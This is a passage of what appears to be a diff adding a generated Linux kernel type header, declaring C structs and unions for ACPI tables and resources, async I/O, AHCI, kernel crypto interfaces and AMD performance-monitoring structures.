acpi_resource_csi2_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; + u8 local_port_instance; + u8 phy_type; +} __attribute__((packed)); + +struct acpi_resource_common_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_pin_function { + u8 revision_id; + u8 pin_config; + u8 shareable; + u16 function_number; + u16 pin_table_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u16 *pin_table; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_pin_config { + u8 revision_id; + u8 producer_consumer; + u8 shareable; + u8 pin_config_type; + u32 pin_config_value; + u16 pin_table_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u16 *pin_table; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_label { + u16 string_length; + char *string_ptr; +} __attribute__((packed)); + +struct acpi_resource_pin_group { + u8 revision_id; + u8 producer_consumer; + u16 pin_table_length; + u16 vendor_length; + u16 *pin_table; + struct acpi_resource_label resource_label; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_pin_group_function { + u8 revision_id; + u8 producer_consumer; + u8 shareable; + u16 function_number; + u16 vendor_length; + struct acpi_resource_source resource_source; + struct acpi_resource_label resource_source_label; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_pin_group_config { + u8 revision_id; + u8 producer_consumer; + u8 shareable; + u8 pin_config_type; + u32 pin_config_value; + u16 vendor_length; + struct acpi_resource_source resource_source; + struct acpi_resource_label resource_source_label; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_clock_input { + u8 revision_id; + u8 mode; + u8 scale; + u16 frequency_divisor; + u32 frequency_numerator; + struct acpi_resource_source resource_source; +} __attribute__((packed)); + +struct acpi_resource_address { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; +}; + +union acpi_resource_data { + struct acpi_resource_irq irq; + struct acpi_resource_dma dma; + struct acpi_resource_start_dependent start_dpf; + struct acpi_resource_io io; + struct acpi_resource_fixed_io fixed_io; + struct acpi_resource_fixed_dma fixed_dma; + struct acpi_resource_vendor vendor; + struct acpi_resource_vendor_typed vendor_typed; + struct acpi_resource_end_tag end_tag; + struct acpi_resource_memory24 memory24; + struct acpi_resource_memory32 memory32; + struct acpi_resource_fixed_memory32 fixed_memory32; + struct acpi_resource_address16 address16; + struct acpi_resource_address32 address32; + struct acpi_resource_address64 address64; + struct acpi_resource_extended_address64 ext_address64; + struct acpi_resource_extended_irq extended_irq; + struct acpi_resource_generic_register generic_reg; + struct acpi_resource_gpio gpio; + struct acpi_resource_i2c_serialbus i2c_serial_bus; + struct acpi_resource_spi_serialbus spi_serial_bus; + struct acpi_resource_uart_serialbus uart_serial_bus; + struct acpi_resource_csi2_serialbus csi2_serial_bus; + struct acpi_resource_common_serialbus common_serial_bus; + struct acpi_resource_pin_function pin_function; + struct acpi_resource_pin_config pin_config; + struct acpi_resource_pin_group pin_group; + struct acpi_resource_pin_group_function pin_group_function; + struct acpi_resource_pin_group_config pin_group_config; + struct acpi_resource_clock_input clock_input; + struct acpi_resource_address address; +}; + +struct acpi_resource { + u32 type; + u32 length; + union acpi_resource_data data; +}; + +struct acpi_rsconvert_info { + u8 opcode; + u8 resource_offset; + u8 aml_offset; + u8 value; +}; + +struct acpi_rw_lock { + void *writer_mutex; + void *reader_mutex; + u32 num_readers; +}; + +struct acpi_s2idle_dev_ops { + struct list_head list_node; + void (*prepare)(void); + void (*check)(void); + void (*restore)(void); +}; + +struct acpi_scan_clear_dep_work { + struct work_struct work; + struct acpi_device *adev; +}; + +struct acpi_scan_handler { + struct list_head list_node; + const struct acpi_device_id *ids; + bool (*match)(const char *, const struct acpi_device_id **); + int (*attach)(struct acpi_device *, const struct acpi_device_id *); + void (*detach)(struct acpi_device *); + void (*post_eject)(struct acpi_device *); + void (*bind)(struct device *); + void (*unbind)(struct device *); + struct acpi_hotplug_profile hotplug; +}; + +typedef u32 (*acpi_sci_handler)(void *); + +struct acpi_sci_handler_info { + struct acpi_sci_handler_info *next; + acpi_sci_handler address; + void *context; +}; + +struct acpi_signal_fatal_info { + u32 type; + u32 code; + u32 argument; +}; + +typedef acpi_status (*acpi_object_converter)(struct acpi_namespace_node *, union acpi_operand_object *, union acpi_operand_object **); + +struct acpi_simple_repair_info { + char name[4]; + u32 unexpected_btypes; + u32 package_index; + acpi_object_converter object_converter; +}; + +struct acpi_srat_cpu_affinity { + struct acpi_subtable_header header; + u8 proximity_domain_lo; + u8 apic_id; + u32 flags; + u8 local_sapic_eid; + u8 proximity_domain_hi[3]; + u32 clock_domain; +}; + +struct acpi_srat_generic_affinity { + struct acpi_subtable_header header; + u8 reserved; + u8 device_handle_type; + u32 proximity_domain; + u8 device_handle[16]; + u32 flags; + u32 reserved1; +}; + +struct acpi_srat_gicc_affinity { + struct acpi_subtable_header header; + u32 proximity_domain; + u32 acpi_processor_uid; + u32 flags; + u32 clock_domain; +} __attribute__((packed)); + +struct acpi_srat_mem_affinity { + struct acpi_subtable_header header; + u32 proximity_domain; + u16 reserved; + u64 base_address; + u64 length; + u32 reserved1; + u32 flags; + u64 reserved2; +} __attribute__((packed)); + +struct acpi_srat_rintc_affinity { + struct acpi_subtable_header header; + u16 reserved; + u32 proximity_domain; + u32 acpi_processor_uid; + u32 flags; + u32 clock_domain; +}; + +struct acpi_srat_x2apic_cpu_affinity { + struct acpi_subtable_header header; + u16 reserved; + u32 proximity_domain; + u32 apic_id; + u32 flags; + u32 clock_domain; + u32 reserved2; +}; + +struct acpi_subtable_entry { + union acpi_subtable_headers *hdr; + enum acpi_subtable_type type; +}; + +union acpi_subtable_headers { + struct acpi_subtable_header common; + struct acpi_hmat_structure hmat; + struct acpi_prmt_module_header prmt; + struct acpi_cedt_header cedt; + struct acpi_cdat_header cdat; +}; + +typedef int (*acpi_tbl_entry_handler_arg)(union acpi_subtable_headers *, void *, const unsigned long); + +struct acpi_subtable_proc { + int id; + acpi_tbl_entry_handler handler; + acpi_tbl_entry_handler_arg handler_arg; + void *arg; + int count; +}; + +struct acpi_table_attr { + struct bin_attribute attr; + char name[4]; + int instance; + char filename[8]; + struct list_head node; +}; + +struct acpi_table_header { + char signature[4]; + u32 length; + u8 revision; + u8 checksum; + char oem_id[6]; + char oem_table_id[8]; + u32 oem_revision; + char asl_compiler_id[4]; + u32 asl_compiler_revision; +}; + +struct acpi_table_bert { + struct acpi_table_header header; + u32 region_length; + u64 address; +}; + +struct acpi_table_boot { + struct acpi_table_header header; + u8 cmos_index; + u8 reserved[3]; +}; + +struct acpi_table_ccel { + struct acpi_table_header header; + u8 CCtype; + u8 Ccsub_type; + u16 reserved; + u64 log_area_minimum_length; + u64 log_area_start_address; +}; + +struct acpi_table_cdat { + u32 length; + u8 revision; + u8 checksum; + u8 reserved[6]; + u32 sequence; +}; + +struct acpi_table_desc { + acpi_physical_address address; + struct acpi_table_header *pointer; + u32 length; + union acpi_name_union signature; + acpi_owner_id owner_id; + u8 flags; + u16 validation_count; +}; + +struct acpi_table_ecdt { + struct acpi_table_header header; + struct acpi_generic_address control; + struct acpi_generic_address data; + u32 uid; + u8 gpe; + u8 id[0]; +} __attribute__((packed)); + +struct acpi_table_facs { + char signature[4]; + u32 length; + u32 hardware_signature; + u32 firmware_waking_vector; + u32 global_lock; + u32 flags; + u64 xfirmware_waking_vector; + u8 version; + u8 reserved[3]; + u32 ospm_flags; + u8 reserved1[24]; +}; + +struct acpi_table_fadt { + struct acpi_table_header header; + u32 facs; + u32 dsdt; + u8 model; + u8 preferred_profile; + u16 sci_interrupt; + u32 smi_command; + u8 acpi_enable; + u8 acpi_disable; + u8 s4_bios_request; + u8 pstate_control; + u32 pm1a_event_block; + u32 pm1b_event_block; + u32 pm1a_control_block; + u32 pm1b_control_block; + u32 pm2_control_block; + u32 pm_timer_block; + u32 gpe0_block; + u32 gpe1_block; + u8 pm1_event_length; + u8 pm1_control_length; + u8 pm2_control_length; + u8 pm_timer_length; + u8 gpe0_block_length; + u8 gpe1_block_length; + u8 gpe1_base; + u8 cst_control; + u16 c2_latency; + u16 c3_latency; + u16 flush_size; + u16 flush_stride; + u8 duty_offset; + u8 duty_width; + u8 day_alarm; + u8 month_alarm; + u8 century; + u16 boot_flags; + u8 reserved; + u32 flags; + struct acpi_generic_address reset_register; + u8 reset_value; + u16 arm_boot_flags; + u8 minor_revision; + u64 Xfacs; + u64 Xdsdt; + struct acpi_generic_address xpm1a_event_block; + struct acpi_generic_address xpm1b_event_block; + struct acpi_generic_address xpm1a_control_block; + struct acpi_generic_address xpm1b_control_block; + struct acpi_generic_address xpm2_control_block; + struct acpi_generic_address xpm_timer_block; + struct acpi_generic_address xgpe0_block; + struct acpi_generic_address xgpe1_block; + struct acpi_generic_address sleep_control; + struct acpi_generic_address sleep_status; + u64 hypervisor_id; +} __attribute__((packed)); + +struct acpi_table_hpet { + struct acpi_table_header header; + u32 id; + struct acpi_generic_address address; + u8 sequence; + u16 minimum_tick; + u8 flags; +} __attribute__((packed)); + +struct acpi_table_list { + struct acpi_table_desc *tables; + u32 current_table_count; + u32 max_table_count; + u8 flags; +}; + +struct acpi_table_lpit { + struct acpi_table_header header; +}; + +struct acpi_table_madt { + struct acpi_table_header header; + u32 address; + u32 flags; +}; + +struct acpi_table_mcfg { + struct acpi_table_header header; + u8 reserved[8]; +}; + +struct acpi_table_pcct { + struct acpi_table_header header; + u32 flags; + u64 reserved; +}; + +struct acpi_table_rsdp { + char signature[8]; + u8 checksum; + char oem_id[6]; + u8 revision; + u32 rsdt_physical_address; + u32 length; + u64 xsdt_physical_address; + u8 extended_checksum; + u8 reserved[3]; +} __attribute__((packed)); + +struct acpi_table_slit { + struct acpi_table_header header; + u64 locality_count; + u8 entry[0]; +} __attribute__((packed)); + +struct acpi_table_spcr { + struct acpi_table_header header; + u8 interface_type; + u8 reserved[3]; + struct acpi_generic_address serial_port; + u8 interrupt_type; + u8 pc_interrupt; + u32 interrupt; + u8 baud_rate; + u8 parity; + u8 stop_bits; + u8 flow_control; + u8 terminal_type; + u8 language; + u16 pci_device_id; + u16 pci_vendor_id; + u8 pci_bus; + u8 pci_device; + u8 pci_function; + u32 pci_flags; + u8 pci_segment; + u32 uart_clk_freq; + u32 precise_baudrate; + u16 name_space_string_length; + u16 name_space_string_offset; + char name_space_string[0]; +} __attribute__((packed)); + +struct acpi_table_srat { + struct acpi_table_header header; + u32 table_revision; + u64 reserved; +}; + +struct acpi_table_stao { + struct acpi_table_header header; + u8 ignore_uart; +} __attribute__((packed)); + +struct acpi_thermal_trip { + unsigned long temp_dk; + struct acpi_handle_list devices; +}; + +struct acpi_thermal_passive { + struct acpi_thermal_trip trip; + unsigned long tc1; + unsigned long tc2; + unsigned long delay; +}; + +struct acpi_thermal_active { + struct acpi_thermal_trip trip; +}; + +struct acpi_thermal_trips { + struct acpi_thermal_passive passive; + struct acpi_thermal_active active[10]; +}; + +struct thermal_zone_device; + +struct acpi_thermal { + struct acpi_device *device; + acpi_bus_id name; + unsigned long temp_dk; + unsigned long last_temp_dk; + unsigned long polling_frequency; + volatile u8 zombie; + struct acpi_thermal_trips trips; + struct thermal_zone_device *thermal_zone; + int kelvin_offset; + struct work_struct thermal_check_work; + struct mutex thermal_check_lock; + refcount_t thermal_check_count; +}; + +struct acpi_vendor_uuid { + u8 subtype; + u8 data[16]; +}; + +struct acpi_vendor_walk_info { + struct acpi_vendor_uuid *uuid; + struct acpi_buffer *buffer; + acpi_status status; +}; + +struct acpi_wakeup_handler { + struct list_head list_node; + bool (*wakeup)(void *); + void *context; +}; + +typedef acpi_status (*acpi_parse_downwards)(struct acpi_walk_state *, union acpi_parse_object **); + +typedef acpi_status (*acpi_parse_upwards)(struct acpi_walk_state *); + +struct acpi_walk_state { + struct acpi_walk_state *next; + u8 descriptor_type; + u8 walk_type; + u16 opcode; + u8 next_op_info; + u8 num_operands; + u8 operand_index; + acpi_owner_id owner_id; + u8 last_predicate; + u8 current_result; + u8 return_used; + u8 scope_depth; + u8 pass_number; + u8 namespace_override; + u8 result_size; + u8 result_count; + u8 *aml; + u32 arg_types; + u32 method_breakpoint; + u32 user_breakpoint; + u32 parse_flags; + struct acpi_parse_state parser_state; + u32 prev_arg_types; + u32 arg_count; + u16 method_nesting_depth; + u8 method_is_nested; + struct acpi_namespace_node arguments[7]; + struct acpi_namespace_node local_variables[8]; + union acpi_operand_object *operands[9]; + union acpi_operand_object **params; + u8 *aml_last_while; + union acpi_operand_object **caller_return_desc; + union acpi_generic_state *control_state; + struct acpi_namespace_node *deferred_node; + union acpi_operand_object *implicit_return_obj; + struct acpi_namespace_node *method_call_node; + union acpi_parse_object *method_call_op; + union acpi_operand_object *method_desc; + struct acpi_namespace_node *method_node; + char *method_pathname; + union acpi_parse_object *op; + const struct acpi_opcode_info *op_info; + union acpi_parse_object *origin; + union acpi_operand_object *result_obj; + union acpi_generic_state *results; + union acpi_operand_object *return_desc; + union acpi_generic_state *scope_info; + union acpi_parse_object *prev_op; + union acpi_parse_object *next_op; + struct acpi_thread_state *thread; + acpi_parse_downwards descending_callback; + acpi_parse_upwards ascending_callback; +}; + +struct pnp_dev; + +struct acpipnp_parse_option_s { + struct pnp_dev *dev; + unsigned int option_flags; +}; + +struct action_cache { + unsigned long allow_native[8]; +}; + +struct hist_trigger_data; + +struct tracing_map_elt; + +struct trace_buffer; + +struct ring_buffer_event; + +struct action_data; + +typedef void (*action_fn_t)(struct hist_trigger_data *, struct tracing_map_elt *, struct trace_buffer *, void *, struct ring_buffer_event *, void *, struct action_data *, u64 *); + +typedef bool (*check_track_val_fn_t)(u64, u64); + +struct synth_event; + +struct hist_field; + +struct action_data { + enum handler_id handler; + enum action_id action; + char *action_name; + action_fn_t fn; + unsigned int n_params; + char *params[64]; + unsigned int var_ref_idx[64]; + struct synth_event *synth_event; + bool use_trace_keyword; + char *synth_event_name; + union { + struct { + char *event; + char *event_system; + } match_data; + struct { + char *var_str; + struct hist_field *var_ref; + struct hist_field *track_var; + check_track_val_fn_t check_val; + action_fn_t save_data; + } track_data; + }; +}; + +struct action_devres { + void *data; + void (*action)(void *); +}; + +struct rb_root { + struct rb_node *rb_node; +}; + +struct rb_root_cached { + struct rb_root rb_root; + struct rb_node *rb_leftmost; +}; + +struct address_space_operations; + +struct address_space { + struct inode *host; + struct xarray i_pages; + struct rw_semaphore invalidate_lock; + gfp_t gfp_mask; + atomic_t i_mmap_writable; + struct rb_root_cached i_mmap; + unsigned long nrpages; + unsigned long writeback_index; + const struct address_space_operations *a_ops; + unsigned long flags; + errseq_t wb_err; + spinlock_t i_private_lock; + struct list_head i_private_list; + struct rw_semaphore i_mmap_rwsem; + void *i_private_data; +}; + +struct writeback_control; + +struct readahead_control; + +struct kiocb; + +struct iov_iter; + +struct swap_info_struct; + +struct address_space_operations { + int (*writepage)(struct page *, struct writeback_control *); + int (*read_folio)(struct file *, struct folio *); + int (*writepages)(struct address_space *, struct writeback_control *); + bool (*dirty_folio)(struct address_space *, struct folio *); + void (*readahead)(struct readahead_control *); + int (*write_begin)(struct file *, struct address_space *, loff_t, unsigned int, struct folio **, void **); + int (*write_end)(struct file *, struct address_space *, loff_t, unsigned int, unsigned int, struct folio *, void *); + sector_t (*bmap)(struct address_space *, sector_t); + void (*invalidate_folio)(struct folio *, size_t, size_t); + bool (*release_folio)(struct folio *, gfp_t); + void (*free_folio)(struct folio *); + ssize_t (*direct_IO)(struct kiocb *, struct iov_iter *); + int (*migrate_folio)(struct address_space *, struct folio *, struct folio *, enum migrate_mode); + int (*launder_folio)(struct folio *); + bool (*is_partially_uptodate)(struct folio *, size_t, size_t); + void (*is_dirty_writeback)(struct folio *, bool *, bool *); + int (*error_remove_folio)(struct address_space *, struct folio *); + int (*swap_activate)(struct swap_info_struct *, struct file *, sector_t *); + void (*swap_deactivate)(struct file *); + int (*swap_rw)(struct kiocb *, struct iov_iter *); +}; + +struct adjust_trip_data { + struct acpi_thermal *tz; + u32 event; +}; + +struct crypto_aead; + +struct aead_request; + +struct aead_alg { + int (*setkey)(struct crypto_aead *, const u8 *, unsigned int); + int (*setauthsize)(struct crypto_aead *, unsigned int); + int (*encrypt)(struct aead_request *); + int (*decrypt)(struct aead_request *); + int (*init)(struct crypto_aead *); + void (*exit)(struct crypto_aead *); + unsigned int ivsize; + unsigned int maxauthsize; + unsigned int chunksize; + struct crypto_alg base; +}; + +struct crypto_sync_skcipher; + +struct aead_geniv_ctx { + spinlock_t lock; + struct crypto_aead *child; + struct crypto_sync_skcipher *sknull; + u8 salt[0]; +}; + +struct crypto_template; + +struct crypto_spawn; + +struct crypto_instance { + struct crypto_alg alg; + struct crypto_template *tmpl; + union { + struct hlist_node list; + struct crypto_spawn *spawns; + }; + struct work_struct free_work; + void *__ctx[0]; +}; + +struct aead_instance { + void (*free)(struct aead_instance *); + union { + struct { + char head[64]; + struct crypto_instance base; + } s; + struct aead_alg alg; + }; +}; + +struct aead_request { + struct crypto_async_request base; + unsigned int assoclen; + unsigned int cryptlen; + u8 *iv; + struct scatterlist *src; + struct scatterlist *dst; + void *__ctx[0]; +}; + +struct aes_sc { + __le64 pn; +}; + +struct affinity_context { + const struct cpumask *new_mask; + struct cpumask *user_mask; + unsigned int flags; +}; + +struct agg_tx_status { + __le16 status; + __le16 sequence; +}; + +struct component_master_ops; + +struct component_match; + +struct aggregate_device { + struct list_head node; + bool bound; + const struct component_master_ops *ops; + struct device *parent; + struct component_match *match; +}; + +struct hash_alg_common { + unsigned int digestsize; + unsigned int statesize; + struct crypto_alg base; +}; + +struct ahash_request; + +struct crypto_ahash; + +struct ahash_alg { + int (*init)(struct ahash_request *); + int (*update)(struct ahash_request *); + int (*final)(struct ahash_request *); + int (*finup)(struct ahash_request *); + int (*digest)(struct ahash_request *); + int (*export)(struct ahash_request *, void *); + int (*import)(struct ahash_request *, const void *); + int (*setkey)(struct crypto_ahash *, const u8 *, unsigned int); + int (*init_tfm)(struct crypto_ahash *); + void (*exit_tfm)(struct crypto_ahash *); + int (*clone_tfm)(struct crypto_ahash *, struct crypto_ahash *); + struct hash_alg_common halg; +}; + +struct ahash_instance { + void (*free)(struct ahash_instance *); + union { + struct { + char head[96]; + struct crypto_instance base; + } s; + struct ahash_alg alg; + }; +}; + +struct ahash_request { + struct crypto_async_request base; + unsigned int nbytes; + struct scatterlist *src; + u8 *result; + void *priv; + void *__ctx[0]; +}; + +struct ahci_cmd_hdr { + __le32 opts; + __le32 status; + __le32 tbl_addr; + __le32 tbl_addr_hi; + __le32 reserved[4]; +}; + +struct ata_link; + +struct ahci_em_priv { + enum sw_activity blink_policy; + struct timer_list timer; + unsigned long saved_activity; + unsigned long activity; + unsigned long led_state; + struct ata_link *link; +}; + +struct reset_control; + +struct regulator; + +struct clk_bulk_data; + +struct phy___2; + +struct ata_port; + +struct ata_host; + +struct ahci_host_priv { + unsigned int flags; + u32 mask_port_map; + void *mmio; + u32 cap; + u32 cap2; + u32 version; + u32 port_map; + u32 saved_cap; + u32 saved_cap2; + u32 saved_port_map; + u32 saved_port_cap[32]; + u32 em_loc; + u32 em_buf_sz; + u32 em_msg_type; + u32 remapped_nvme; + bool got_runtime_pm; + unsigned int n_clks; + struct clk_bulk_data *clks; + unsigned int f_rsts; + struct reset_control *rsts; + struct regulator **target_pwrs; + struct regulator *ahci_regulator; + struct regulator *phy_regulator; + struct phy___2 **phys; + unsigned int nports; + void *plat_data; + unsigned int irq; + void (*start_engine)(struct ata_port *); + int (*stop_engine)(struct ata_port *); + irqreturn_t (*irq_handler)(int, void *); + int (*get_irq_vector)(struct ata_host *, int); +}; + +struct ahci_port_priv { + struct ata_link *active_link; + struct ahci_cmd_hdr *cmd_slot; + dma_addr_t cmd_slot_dma; + void *cmd_tbl; + dma_addr_t cmd_tbl_dma; + void *rx_fis; + dma_addr_t rx_fis_dma; + unsigned int ncq_saw_d2h: 1; + unsigned int ncq_saw_dmas: 1; + unsigned int ncq_saw_sdb: 1; + spinlock_t lock; + u32 intr_mask; + bool fbs_supported; + bool fbs_enabled; + int fbs_last_dev; + struct ahci_em_priv em_priv[15]; + char *irq_desc; +}; + +struct ahci_sg { + __le32 addr; + __le32 addr_hi; + __le32 reserved; + __le32 flags_size; +}; + +struct wait_page_queue; + +struct kiocb { + struct file *ki_filp; + loff_t ki_pos; + void (*ki_complete)(struct kiocb *, long); + void *private; + int ki_flags; + u16 ki_ioprio; + union { + struct wait_page_queue *ki_waitq; + ssize_t (*dio_complete)(void *); + }; +}; + +struct cred; + +struct fsync_iocb { + struct file *file; + struct work_struct work; + bool datasync; + struct cred *creds; +}; + +struct wait_queue_entry; + +typedef int (*wait_queue_func_t)(struct wait_queue_entry *, unsigned int, int, void *); + +struct wait_queue_entry { + unsigned int flags; + void *private; + wait_queue_func_t func; + struct list_head entry; +}; + +struct poll_iocb { + struct file *file; + struct wait_queue_head *head; + __poll_t events; + bool cancelled; + bool work_scheduled; + bool work_need_resched; + struct wait_queue_entry wait; + struct work_struct work; +}; + +typedef int kiocb_cancel_fn(struct kiocb *); + +struct io_event { + __u64 data; + __u64 obj; + __s64 res; + __s64 res2; +}; + +struct kioctx; + +struct eventfd_ctx; + +struct aio_kiocb { + union { + struct file *ki_filp; + struct kiocb rw; + struct fsync_iocb fsync; + struct poll_iocb poll; + }; + struct kioctx *ki_ctx; + kiocb_cancel_fn *ki_cancel; + struct io_event ki_res; + struct list_head ki_list; + refcount_t ki_refcnt; + struct eventfd_ctx *ki_eventfd; +}; + +struct poll_table_struct; + +typedef void (*poll_queue_proc)(struct file *, wait_queue_head_t *, struct poll_table_struct *); + +struct poll_table_struct { + poll_queue_proc _qproc; + __poll_t _key; +}; + +struct aio_poll_table { + struct poll_table_struct pt; + struct aio_kiocb *iocb; + bool queued; + int error; +}; + +struct aio_ring { + unsigned int id; + unsigned int nr; + unsigned int head; + unsigned int tail; + unsigned int magic; + unsigned int compat_features; + unsigned int incompat_features; + unsigned int header_length; + struct io_event io_events[0]; +}; + +struct aio_waiter { + struct wait_queue_entry w; + size_t min_nr; +}; + +struct airtime_info { + u64 rx_airtime; + u64 tx_airtime; + unsigned long last_active; + s32 deficit; + atomic_t aql_tx_pending; + u32 aql_limit_low; + u32 aql_limit_high; +}; + +struct akcipher_request; + +struct crypto_akcipher; + +struct akcipher_alg { + int (*sign)(struct akcipher_request *); + int (*verify)(struct akcipher_request *); + int (*encrypt)(struct akcipher_request *); + int (*decrypt)(struct akcipher_request *); + int (*set_pub_key)(struct crypto_akcipher *, const void *, unsigned int); + int (*set_priv_key)(struct crypto_akcipher *, const void *, unsigned int); + unsigned int (*max_size)(struct crypto_akcipher *); + int (*init)(struct crypto_akcipher *); + void (*exit)(struct crypto_akcipher *); + struct crypto_alg base; +}; + +struct akcipher_instance { + void (*free)(struct akcipher_instance *); + union { + struct { + char head[72]; + struct crypto_instance base; + } s; + struct akcipher_alg alg; + }; +}; + +struct akcipher_request { + struct crypto_async_request base; + struct scatterlist *src; + struct scatterlist *dst; + unsigned int src_len; + unsigned int dst_len; + void *__ctx[0]; +}; + +struct alarm { + struct timerqueue_node node; + struct hrtimer timer; + enum alarmtimer_restart (*function)(struct alarm *, ktime_t); + enum alarmtimer_type type; + int state; + void *data; +}; + +struct timerqueue_head { + struct rb_root_cached rb_root; +}; + +struct timespec64; + +struct alarm_base { + spinlock_t lock; + struct timerqueue_head timerqueue; + ktime_t (*get_ktime)(void); + void (*get_timespec)(struct timespec64 *); + clockid_t base_clockid; +}; + +struct alert_data { + unsigned short addr; + enum i2c_alert_protocol type; + unsigned int data; +}; + +struct alloc_chunk_ctl { + u64 start; + u64 type; + int num_stripes; + int sub_stripes; + int dev_stripes; + int devs_max; + int devs_min; + int devs_increment; + int ncopies; + int nparity; + u64 max_stripe_size; + u64 max_chunk_size; + u64 dev_extent_min; + u64 stripe_size; + u64 chunk_size; + int ndevs; +}; + +struct zonelist; + +struct zoneref; + +struct alloc_context { + struct zonelist *zonelist; + nodemask_t *nodemask; + struct zoneref *preferred_zoneref; + int migratetype; + enum zone_type highest_zoneidx; + bool spread_dirty_pages; +}; + +struct codetag { + unsigned int flags; + unsigned int lineno; + const char *modname; + const char *function; + const char *filename; +}; + +struct alloc_tag_counters; + +struct alloc_tag { + struct codetag ct; + struct alloc_tag_counters __attribute__((btf_type_tag("percpu"))) *counters; +}; + +struct alloc_tag_counters { + u64 bytes; + u64 calls; +}; + +struct alt_instr { + s32 instr_offset; + s32 repl_offset; + union { + struct { + u32 cpuid: 16; + u32 flags: 16; + }; + u32 ft_flags; + }; + u8 instrlen; + u8 replacementlen; +} __attribute__((packed)); + +struct amd_aperf_mperf { + u64 aperf; + u64 mperf; + u64 tsc; +}; + +struct amd_chipset_type { + enum amd_chipset_gen gen; + u8 rev; +}; + +struct amd_chipset_info { + struct pci_dev *nb_dev; + struct pci_dev *smbus_dev; + int nb_type; + struct amd_chipset_type sb_type; + int isoc_reqs; + int probe_count; + bool need_pll_quirk; +}; + +struct amd_cpudata { + int cpu; + struct freq_qos_request req[2]; + u64 cppc_req_cached; + u32 highest_perf; + u32 nominal_perf; + u32 lowest_nonlinear_perf; + u32 lowest_perf; + u32 prefcore_ranking; + u32 min_limit_perf; + u32 max_limit_perf; + u32 min_limit_freq; + u32 max_limit_freq; + u32 max_freq; + u32 min_freq; + u32 nominal_freq; + u32 lowest_nonlinear_freq; + struct amd_aperf_mperf cur; + struct amd_aperf_mperf prev; + u64 freq; + bool boost_supported; + bool hw_prefcore; + s16 epp_policy; + s16 epp_cached; + u32 policy; + u64 cppc_cap1_cached; + bool suspended; + s16 epp_default; + bool boost_state; +}; + +struct amd_hostbridge { + u32 bus; + u32 slot; + u32 device; +}; + +struct amd_l3_cache { + unsigned int indices; + u8 subcaches[4]; +}; + +struct amd_lps0_hid_device_data { + const bool check_off_by_one; +}; + +struct event_constraint { + union { + unsigned long idxmsk[1]; + u64 idxmsk64; + }; + u64 code; + u64 cmask; + int weight; + int overlap; + int flags; + unsigned int size; +}; + +struct perf_event; + +struct amd_nb { + int nb_id; + int refcnt; + struct perf_event *owners[64]; + struct event_constraint event_constraints[64]; +}; + +struct amd_nb_bus_dev_range { + u8 bus; + u8 dev_base; + u8 dev_limit; +}; + +struct threshold_bank; + +struct amd_northbridge { + struct pci_dev *root; + struct pci_dev *misc; + struct pci_dev *link; + struct amd_l3_cache l3_cache; + struct threshold_bank *bank4; +}; + +struct amd_northbridge_info { + u16 num; + u64 flags; + struct amd_northbridge *nb; +}; + +union amd_uncore_info; + +struct amd_uncore_pmu; + +struct amd_uncore { + union amd_uncore_info __attribute__((btf_type_tag("percpu"))) *info; + struct amd_uncore_pmu *pmus; + unsigned int num_pmus; + bool init_done; + void (*scan)(struct amd_uncore *, unsigned int); + int (*init)(struct amd_uncore *, unsigned int); + void (*move)(struct amd_uncore *, unsigned int); + void (*free)(struct amd_uncore *, unsigned int); +}; + +struct amd_uncore_ctx { + int refcnt; + int cpu; + struct perf_event **events; + struct hlist_node node; +}; + +union amd_uncore_info { + struct { + u64 aux_data: 32; + u64 num_pmcs: 8; + u64 gid: 8; + u64 cid: 8; + } split; + u64 full; +}; + +struct cpumask { + unsigned long bits[128]; +}; + +typedef struct cpumask cpumask_t; + +struct perf_cpu_pmu_context; + +struct perf_event_pmu_context; + +struct kmem_cache; + +struct perf_output_handle; + +struct pmu { + struct list_head entry; + struct module *module; + struct device *dev; + struct device *parent; + const struct attribute_group **attr_groups; + const struct attribute_group **attr_update; + const char *name; + int type; + int capabilities; + unsigned int scope; + int __attribute__((btf_type_tag("percpu"))) *pmu_disable_count; + struct perf_cpu_pmu_context __attribute__((btf_type_tag("percpu"))) *cpu_pmu_context; + atomic_t exclusive_cnt; + int task_ctx_nr; + int hrtimer_interval_ms; + unsigned int nr_addr_filters; + void (*pmu_enable)(struct pmu *); + void (*pmu_disable)(struct pmu *); + int (*event_init)(struct perf_event *); + void (*event_mapped)(struct perf_event *, struct mm_struct *); + void (*event_unmapped)(struct perf_event *, struct mm_struct *); + int (*add)(struct perf_event *, int); + void (*del)(struct perf_event *, int); + void (*start)(struct perf_event *, int); + void (*stop)(struct perf_event *, int); + void (*read)(struct perf_event *); + void (*start_txn)(struct pmu *, unsigned int); + int (*commit_txn)(struct pmu *); + void (*cancel_txn)(struct pmu *); + int (*event_idx)(struct perf_event *); + void (*sched_task)(struct perf_event_pmu_context *, bool); + struct kmem_cache *task_ctx_cache; + void (*swap_task_ctx)(struct perf_event_pmu_context *, struct perf_event_pmu_context *); + void * (*setup_aux)(struct perf_event *, void **, int, bool); + void (*free_aux)(void *); + long (*snapshot_aux)(struct perf_event *, struct perf_output_handle *, unsigned long); + int (*addr_filters_validate)(struct list_head *); + void (*addr_filters_sync)(struct perf_event *); + int (*aux_output_match)(struct perf_event *); + bool (*filter)(struct pmu *, int); + int (*check_period)(struct perf_event *, u64); +}; + +struct amd_uncore_pmu { + char name[16]; + int num_counters; + int rdpmc_base; + u32 msr_base; + int group; + cpumask_t active_mask; + struct pmu pmu; + struct amd_uncore_ctx * __attribute__((btf_type_tag("percpu"))) *ctx; +}; + +struct aml_resource_small_header { + u8 descriptor_type; +}; + +struct aml_resource_large_header { + u8 descriptor_type; + u16 resource_length; +} __attribute__((packed)); + +struct aml_resource_irq { + u8 descriptor_type; + u16 irq_mask; + u8 flags; +} 